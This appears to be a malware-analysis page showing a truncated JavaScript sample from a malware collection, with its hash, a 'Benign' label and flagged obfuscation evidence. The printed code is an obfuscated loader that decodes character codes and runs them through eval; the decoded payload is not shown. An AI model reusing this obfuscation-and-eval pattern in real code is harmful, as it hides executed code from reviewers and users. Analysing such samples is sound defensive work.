Benign javascript-malware-collection Download

20151208_a2c621f2c034616eb8d551546393ae1e.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256f4aab5a2935075c4e5e23bfddd81cd2ccb550967d51789b31686efe683587c95

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var deQhEXRBEXVyl=[];for(TKiJdVp=(-275+275)/649;TKiJdVp<(87155+269)/683;TKiJdVp++){deQhEXRBEXVyl[TKiJdVp]=String.fromCharCode(TKiJdVp)}function DXZga(gcmNuqKuUte,UirpZnbFwGptI,meuezMaG){GxEv=parseInt(gcmNuqKuUte,UirpZnbFwGptI);GIGym=GxEv.toString(meuezMaG);return GIGym;}function hRUoTybjIKlTPjs(wnekroJTQSCDatOTH){eval(wnekroJTQSCDatOTH)}
2function dWhlAsoeVzKxORbPUYQwXJwOoNZeWXVPwFmaVSiOFQTMsVTWHbiZYz(LGzEdLPlUlmDs,DAfEtrCBmpdrzm){ return deQhEXRBEXVyl[DXZga(LGzEdLPlUlmDs[DAfEtrCBmpdrzm],(5592+318)/591,(953+877)/183)];}
3function MaSaOOM(xLfgwbybSGdccJcXSyyJpPskxJSektRcLaUw) {return !isNaN(parseFloat(xLfgwbybSGdccJcXSyyJpPskxJSektRcLaUw)) && isFinite(xLfgwbybSGdccJcXSyyJpPskxJSektRcLaUw);}
4function aPAWiOtsQEt(kaDrnixl,lZpiCX){return kaDrnixl.split(lZpiCX)}
5var N=[];N.push("13");N.push("10");N.push("13");N.push("10");N.push("118");N.push("97");N.push("114");N.push("32");N. …